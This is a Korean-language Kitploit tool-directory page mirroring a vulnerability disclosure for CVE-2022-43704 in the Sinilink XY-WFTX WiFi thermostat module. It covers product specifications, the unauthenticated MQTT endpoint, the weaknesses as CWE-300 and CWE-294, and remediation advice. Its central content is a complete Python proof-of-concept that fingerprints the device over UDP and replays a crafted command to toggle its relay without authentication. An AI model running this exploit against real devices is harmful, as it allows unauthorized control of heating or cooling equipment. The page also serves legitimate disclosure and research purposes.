Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-43704 — Sinilink XY-WFTX WiFi 원격 온도 조절기 모듈 | Kitploit
도구/GitHubGitHub/9lyph/cve-2022-43704
Authentication & AuthorizationEmbedded Systems SecurityPacket Sniffing & AnalysisReconnaissanceIoT SecurityVulnerability AnalysisExploitationWireless SecurityPenetration TestingHardware & IoT Security
GitHub
521년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
9lyph/cve-2022-43704

CVE-2022-43704

Sinilink XY-WFTX WiFi 원격 온도 조절기 모듈

저장소 보기

CVE-2022-43704 - 비엔드포인트에 의한 채널 접근 가능/캡처 재전송에 의한 인증 우회

Sinilink XY-WFTX WiFi 원격 온도조절기 모듈 온도 컨트롤러

제목

sinilink

제품 문서

  • 애플리케이션

  • 사용자 매뉴얼

하드웨어

데이터시트

ESP8285

Buck Converter

Firmware

제품 설명

root@kitploit:~
Overview

WIFI Remote Thermostat High Precision Temperature Controller Module Cooling 
and Heating APP Temperature Collection XY-WFT1 WFTX

Technical Parameters

Temperature display: digital tube display
Supply voltage: DC 6~30V
USB power supply: support
Temperature control range: -40~110°C
Temperature control accuracy: 0.1℃
NTC temperature measurement range: -40~110℃
Whether to support 18B20: Yes (-40~110°℃)
Output type: relay switch, current within 10A
Alarm notification: support WeChat alarm notification
Cloud data record: 15 days cloud record, can be exported at any time
Timer switch function: support

참고 자료

MITRE

[Exploit-DB]

제조사

Sinilink.com

연구

  • 제품은 ws://mq.sinilink.com:8085/mqtt로 통신을 설정하기 위해 웹소켓을 사용합니다.
  • 이 엔드포인트는 MQTT 브로커로 사용되며 인증되지 않았습니다.

공격 표면 지도

발견

비엔드포인트에 의한 채널 접근 가능

  • Sinilink WiFi 원격 온도조절기(펌웨어 V1.3.6 실행)는 공격자가 MQTT를 사용하여 통신해야 하는 의도된 요구 사항을 우회할 수 있도록 허용하지만, 대신 대상 장치와 직접 인터페이스하여 sinilink 프로토콜 명령을 재생하는 것이 가능합니다. 이는 결국 모바일 애플리케이션을 통한 인증 없이 온보드 릴레이를 제어하는 공격을 가능하게 합니다.
  • 대상 장치는 '수동 모드' 상태여야 하며, 사전 조건으로 '전원 켜기, 닫기'가 필요합니다.

사전 조건 설정

취약점 약점

  • CWE-300: 비엔드포인트에 의한 채널 접근 가능
  • CWE-294: 캡처 재전송에 의한 인증 우회

알려진 영향을 받는 소프트웨어 구성

  • V1.3.6

POC 코드

root@kitploit:~
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# Sinilink WiFi Remote Thermostat
# CWE-300: Channel Accessible by Non-Endpoint

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
import socket
import time
from datetime import datetime

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Banner Function
def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Description: Sinilink WiFi Remote Thermostat                                    |")
    print ("|   Usage : "+sys.argv[0]+" <host>                                                     |")
    print ("[+]********************************************************************************[+]")

def retrieve_device_info():

    SinilinkMsgFromClient = "SINILINK521"
    host = str(sys.argv[1])
    try:
        bytesToSend = str.encode(SinilinkMsgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Retrieving Device Information ..." + Style.RESET_ALL)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(5)
        msgFromServer = UDPClientSocket.recvfrom(bufferSize)
        msg = "Message from Server {}".format(msgFromServer[0])
        msgSplit = msg.split(",")
        MAC = msgSplit[0][30:-1]
        dt = msgSplit[1][7:]
        converted = datetime.fromtimestamp(int(dt)).strftime("%A, %B %d, %Y %I:%M:%S")
        temp = msgSplit[5]
        degree = msgSplit[6][1:-1]
        relay_value = msgSplit[2][9:]
        print (Fore.CYAN + f"    --> MAC Address: {MAC}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Time Stamp: {converted}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Current Temperature Reading: {temp}{degree}" + Style.RESET_ALL)
        if (relay_value == "1"):
            print (Fore.CYAN + f"    --> Relay State: Open" + Style.RESET_ALL)
        else:
            print (Fore.CYAN + f"    --> Relay State: Closed" + Style.RESET_ALL)
    except:
        print ("Unsuccessful")

def send_payload():
    try:
        epoch_time = str(int(time.time()))
        msgFromClient = '4C:EB:D6:01:A8:7C{"MAC":"4C:EB:D6:01:A8:7C","time":'+epoch_time+',"param":[1,"M",0,20.8,"C","H",66,5,0,0,0,20.5,0,-40,0,0,5,1,0,0,0,0]}'
        bytesToSend = str.encode(msgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Sending Payload ..." + Style.RESET_ALL)
        time.sleep(10)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(15)
        UDPClientSocket.close()
    except:
        print ("Unsuccesful")
    
# Main Function
def main():
    os.system('clear')
    banner()
    retrieve_device_info()
    send_payload()
    retrieve_device_info()



if __name__ == "__main__":
    if len(sys.argv)>1:
        host = sys.argv[1]
        main()
    else:
        print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)

수정 단계

통신 채널의 각 끝에 있는 엔터티의 신원을 적절히 검증하십시오. 부적절하거나 일관성 없는 검증은 통신하는 엔터티 중 하나를 충분히 또는 올바르게 식별하지 못할 수 있습니다. 이는 채널 반대편 엔터티에 대한 잘못된 신뢰와 같은 부정적인 결과를 초래할 수 있습니다. 공격자는 통신 엔터티 사이에 개입하여 원래 엔터티로 가장함으로써 이를 악용할 수 있습니다. 신원 검증이 충분하지 않은 경우, 이러한 공격자는 도청하고 원래 엔터티 간의 통신을 잠재적으로 수정할 수 있습니다.

Pwnage

발견자/크레딧:

Exploit Security의 Victor Hanna

팔로우하기

Mastodon Linkedin Youtube

도구 다운로드